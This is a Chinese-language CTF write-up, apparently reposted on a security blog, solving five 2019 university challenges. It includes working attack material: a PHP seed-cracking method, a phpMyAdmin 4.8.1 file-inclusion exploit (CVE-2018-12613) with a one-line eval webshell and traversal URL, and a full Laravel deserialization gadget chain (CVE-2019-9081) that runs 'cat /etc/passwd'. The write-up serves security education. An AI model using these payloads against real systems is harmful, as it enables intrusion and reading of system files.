2019广东外语外贸大学CTF原创

admin 2022年10月30日16:13:022019广东外语外贸大学CTF原创已关闭评论34 views字数 5274阅读17分34秒阅读模式

枯燥的抽奖#

  1. 点开靶机链接,发现检查数据部分的 url check.php
  2. 直接打开可以发现源代码,分析源代码
 <?php
   
   header("Content-Type: text/html;charset=utf-8");
   session_start();
   if(!isset($_SESSION['seed'])){
   $_SESSION['seed']=rand(0,999999999);
   }
   
   mt_srand($_SESSION['seed']);
   $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
   $str='';
   $len1=20;
   
   for ( $i = 0; $i < $len1; $i++ ){
       $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);   
   }
   
   $str_show = substr($str, 0, 10);
   echo "<p id='p1'>".$str_show."</p>";
   
   
   if(isset($_POST['num'])){
       if($_POST['num']===$str){x
           echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
       }
       else{
           echo "<p id=flag>没抽中哦,再试试吧</p>";
       }
   }
   show_source("check.php"); 
  1. 有前十位数据,可以尝试对随机数种子进行爆破,此处采用
    php_mt_seed
    进行爆破

  2. 查看一下说明文档,使用 gcc 进行编译

    gcc -Wall -march=native -mtune=generic -O2 -fomit-frame-pointer -funroll-loops -fopenmp php_mt_seed.c -o php_mt_seed

  3. 根据文档中给出的调用方式,用 python 写脚本进行整理

    str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    str2='W4hCHBi0Ej'
    str3 = str1[::-1]
    length = len(str2)
    res=''
    for i in range(len(str2)):
        for j in range(len(str1)):
                if str2[i] == str1[j]:
                    res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
                    break
    print res
    
    

    输出结果为 58 58 0 61 30 30 0 61 7 7 0 61 38 38 0 61 43 43 0 61 37 37 0 61 8 8 0 61 26 26 0 61 40 40 0 61 9 9 0 61

  4. 在 kali 中执行

    ./php_mt_seed 58 58 0 61 30 30 0 61 7 7 0 61 38 38 0 61 43 43 0 61 37 37 0 61 8 8 0 61 26 26 0 61 40 40 0 61 9 9 0 61

    此处已经跑出来随机数种子了

  5. 将 PHP 代码稍作修改,跑一遍

   <?php
   $_SESSION['seed']=492242344;
   
   	mt_srand($_SESSION['seed']);
   	$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
   	$str='';
   	$len1=20;
   	for ( $i = 0; $i < $len1; $i++ ){
   		$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);   
   
   	}
   
   	echo $str;
   
   
   ?>

8.得到结果

9.结果提交正确

我有一个数据库#

  1. 点开页面啥都没有
  2. 用 dirb 扫后台

dirb http://183.129.189.60:10005

  1. 扫描出 robots.txt,phpmyadmin,phpinfo.php

  2. 进入 phpmyadmin,发现是 4.8.1,存在任意文件包含漏洞(
    CVE-2018-12613
    )

  3. 尝试进行文件包含

  4. 确实存在漏洞,对该漏洞进一步利用

  5. 由于 PHP 会序列化参数传递的值,并且保存在本地的 session 文件中,可以使用该特性进行文件包含

  6. 在数据库中执行查询小马的操作

    SELECT "<?php echo eval($_GET['cmd']); ?>";

  7. 修改 url 触发文件包含

    183.129.189.60:10005/phpmyadmin//index.php?target=db_sql.php%253f/.../../../../../../../../..//var/lib/php/sessions/sess_v0d66301oimgg22m3vsenbhqul

    此处 sess_之后的部分是 cookie 中 phpmyadmin 的值,在 phpinfo 中可以找到 session 位置

  8. 分别通过传入以下命令查找 flag

    var_dump(scandir('/'));

    var_dump(file_get_contents('/flag'));

relax#

下载下来惊奇地发现居然是用 rpg maker xp 制作的游戏!!!重新唤起了我久远的记忆!!!这里我就取巧了!

  1. 在游戏根目录新建 Game.rxproj 文件,然后用 RPG Maker Xp 打开

  2. 在魔塔的最后一个地图层找到 flag 的 key1

  3. 在迷宫的最后一个地图层找到 flag 的 key2

  4. 拼好就是 flag

    GWHT{You_Know_RPGXP_Well!!}

pyre#

下载得到 pyc 文件,拿到
在线工具
进行解密,得到解密后的代码

print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
    num = ((input1[i] + i) % 128 + 128) % 128
    code += num

for i in range(l - 1):
    code[i] = code[i] ^ code[i + 1]

print code
code = [
    '\x1f',
    '\x12',
    '\x1d',
    '(',
    '0',
    '4',
    '\x01',
    '\x06',
    '\x14',
    '4',
    ',',
    '\x1b',
    'U',
    '?',
    'o',
    '6',
    '*',
    ':',
    '\x01',
    'D',
    ';',
    '%',
    '\x13']

这段代码只是给了大概意思,并不能真的跑起来,需要做一部分修改,下面是修改后的

input1="**"
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
code=[]
for i in range(l):
    num = ((ord(input1[i]) + i) % 128 + 128) % 128
    code.append(num)
for i in range(l - 1):
    code[i] = chr(code[i]^ code[i + 1])
print code

进一步分析可知,code 的最后一位并没有做异或处理,可以进行反向异或得到前一位的值,然后重复这个步骤得到整个 code 的值,对整个 code 反向计算有点麻烦,采取正向爆破方式,脚本如下:

import string
code = [
    '\x1f',
    '\x12',
    '\x1d',
    '(',
    '0',
    '4',
    '\x01',
    '\x06',
    '\x14',
    '4',
    ',',
    '\x1b',
    'U',
    '?',
    'o',
    '6',
    '*',
    ':',
    '\x01',
    'D',
    ';',
    '%',
    19]

l = len(code)
ll=range(l - 1)
ll.reverse()
for i in ll:
    code[i] = ord(code[i])^ code[i + 1]

ss=string.ascii_letters + string.digits+string.punctuation

s={}
for i in range(l):
    for v  in ss:
        num = ((ord(v) + i) % 128 + 128) % 128
        if code[i]==num:
            s[i]=v
            break
a=""
for key,values in s.items():
    a+=values
print a

flag:GWHT{Just_Re_1s_Ha66y!}

warmup#

  1. 打开站点扫了一通,发现存在 robots.txt

  2. 访问后得到提示

    User-agent: *
    Disallow: /u_c4nNot_s3e_me
    
    Notice:
    l = len(m)
    for i in range(l):
    	num = (((m[i])+i) % 128 +128) % 128
    	code += chr(num)
    for i in range(l-1):
    	code[i] = code[i]^code[i+1]
    with open("u_c4nNot_s3e_me","wb") as f:
    	for i in code:
    		f.write(i)
    
  3. 该算法和上题算法完全一致

  4. 将该文件下载后,用 cat 命令提取
    cat u_c4nNot_s3e_me|base64

  5. python 脚本如下:

    import string
    import base64
    a = base64.b64decode('fDIZH1FTChYfBh1CX3B+DnZ+eQA3Snp5AmxRBl0mOgcKGFIIN3cYGBMPB1xtPFI3agcLBz5xWCkM DTlDAicmdg5FCUYVARUQTR9EOQEwCF08MklNAy8qKStubHs8GQEQCDVUVkljJloKCg0OCBkUAjI8 TAN3cC1HA3Y=')
    code = list(a)
    
    l = len(code)
    code[l-1]=ord(code[l-1])
    
    ll=range(l - 1)
    ll.reverse()
    for i in ll:
        code[i] = ord(code[i])^ code[i + 1]
    
    ss=string.ascii_letters + string.digits+string.punctuation
    
    s={}
    for i in range(l):
        for v  in ss:
            num = ((ord(v) + i) % 128 + 128) % 128
            if code[i]==num:
                s[i]=v
                break
    a=""
    for key,values in s.items():
        a+=values
    print a
    
  6. 得到部分 index 的源代码

  7. 分析该代码,发现可能存在反序列化漏洞
    CVE-2019-9081

  8. 上 PHP 脚本,构造反序列化

    <?php
    namespace Illuminate\Foundation\Testing{
        class PendingCommand{
            protected $command;
            protected $parameters;
            protected $app;
            public $test;
            public function __construct($command, $parameters,$class,$app){
                $this->command = $command;
                $this->parameters = $parameters;
                $this->test=$class;
                $this->app=$app;
            }
        }
    }
    namespace Illuminate\Auth{
        class GenericUser{
            protected $attributes;
            public function __construct(array $attributes){
                $this->attributes = $attributes;
            }
        }
    }
    namespace Illuminate\Foundation{
        class Application{
            protected $hasBeenBootstrapped = false;
            protected $bindings;
            public function __construct($bind){
                $this->bindings=$bind;
            }
        }
    }
    namespace{
        $genericuser = new Illuminate\Auth\GenericUser(
            array(
                "expectedOutput"=>array("0"=>"1"),
                "expectedQuestions"=>array("0"=>"1")
                 )
        );
        $application = new Illuminate\Foundation\Application(
            array(
                "Illuminate\Contracts\Console\Kernel"=>
                    array(
                        "concrete"=>"Illuminate\Foundation\Application"
                         )
                 )
        );
    
        $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
            "system",array('cat /etc/passwd'),
            $genericuser,
            $application
        );
        echo urlencode(serialize($pendingcommand));
    }
    
  9. 通过该脚本可以找到根目录下面有个假的 flag...

  10. 后面可能需要提权才能做,但是反弹 shell 没成功,暂且不表

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日16:13:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2019广东外语外贸大学CTF原创https://cn-sec.com/archives/1380027.html